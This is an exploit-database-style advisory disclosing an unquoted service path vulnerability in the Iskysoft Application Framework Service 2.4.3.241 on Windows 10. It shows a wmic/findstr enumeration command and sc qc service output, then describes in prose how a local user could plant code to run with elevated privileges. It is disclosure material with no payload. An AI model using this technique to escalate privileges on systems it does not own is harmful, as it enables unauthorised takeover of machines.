Iskysoft Application Framework Service 2.4.3.241 Unquoted Service Path

`# Exploit Title: Iskysoft Application Framework Service 2.4.3.241 - 'IsAppService' Unquoted Service Path  
# Discovery by: Alejandro Reyes  
# Discovery Date: 2020-03-05  
# Vendor Homepage: https://www.iskysoft.us  
# Software Link : https://www.iskysoft.us/lp/filmora-video-editor/?gclid=EAIaIQobChMIo-WL-Z6h5wIVwR0YCh3O7QYsEAAYAiAAEgJ_m_D_BwE  
# Tested Version: 2.4.3.241  
# Vulnerability Type: Unquoted Service Path  
# Tested on OS: Windows 10 Home x64   
  
# Step to discover Unquoted Service Path:   
  
  
  
C:\>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr "Iskysoft" | findstr /i /v """  
  
Iskysoft Application Framework Service IsAppService C:\Program Files (x86)\Iskysoft\IAF\2.4.3.241\IsAppService.exe Auto  
  
# Service info:  
  
C:\WINDOWS\system32>sc qc "IsAppService"  
  
[SC] QueryServiceConfig SUCCESS  
  
SERVICE_NAME: IsAppService  
TYPE : 10 WIN32_OWN_PROCESS  
START_TYPE : 2 AUTO_START  
ERROR_CONTROL : 0 IGNORE  
BINARY_PATH_NAME : C:\Program Files (x86)\Iskysoft\IAF\2.4.3.241\IsAppService.exe  
LOAD_ORDER_GROUP :  
TAG : 0  
DISPLAY_NAME : Iskysoft Application Framework Service  
DEPENDENCIES : RPCSS  
  
  
# Exploit:  
  
# A successful attempt would require the local user to be able to insert their code in the   
# system root path undetected by the OS or other security applications where it could   
# potentially be executed during application startup or reboot. If successful, the local   
# user's code would execute with the elevated privileges of the application.  
  
`